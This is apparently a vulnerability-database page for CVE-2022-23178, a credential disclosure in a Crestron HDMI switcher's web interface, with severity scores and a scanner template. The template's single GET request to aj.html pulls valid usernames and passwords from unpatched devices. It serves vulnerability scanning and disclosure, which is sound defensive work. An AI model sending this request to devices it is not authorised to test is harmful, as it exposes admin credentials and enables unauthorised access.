10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.5 High
AI Score
Confidence
High
0.04 Low
EPSS
Percentile
92.1%
An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
id: CVE-2022-23178
info:
name: Crestron Device - Credentials Disclosure
author: gy741
severity: critical
description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
impact: |
An attacker can obtain sensitive credentials, leading to unauthorized access and potential compromise of the device.
remediation: |
Update the Crestron Device firmware to the latest version to mitigate the vulnerability.
reference:
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device
- https://nvd.nist.gov/vuln/detail/CVE-2022-23178
- https://de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E
- https://www.redteam-pentesting.de/advisories/rt-sa-2021-009
- https://github.com/Threekiii/Awesome-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-23178
cwe-id: CWE-287
epss-score: 0.03228
epss-percentile: 0.91216
cpe: cpe:2.3:o:crestron:hd-md4x2-4k-e_firmware:1.0.0.2159:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: crestron
product: hd-md4x2-4k-e_firmware
tags: cve,cve2022,crestron,disclosure
http:
- method: GET
path:
- "{{BaseURL}}/aj.html?a=devi"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"uname":'
- '"upassword":'
condition: and
- type: status
status:
- 200
# digest: 490a004630440220168e2fa4130dd390886aceb8d9ed8c3315f6b2b1a005dc6b5655cb2269fd2dd602203cd028fee5639d1721e26ee0f586f1283f2f58dfdf6750f1136f35105f2f2ca1:922c64590222798bb761d5b6d8e72950
de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E
github.com/Threekiii/Awesome-POC
nvd.nist.gov/vuln/detail/CVE-2022-23178
www.redteam-pentesting.de/advisories/rt-sa-2021-009
www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device
10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.5 High
AI Score
Confidence
High
0.04 Low
EPSS
Percentile
92.1%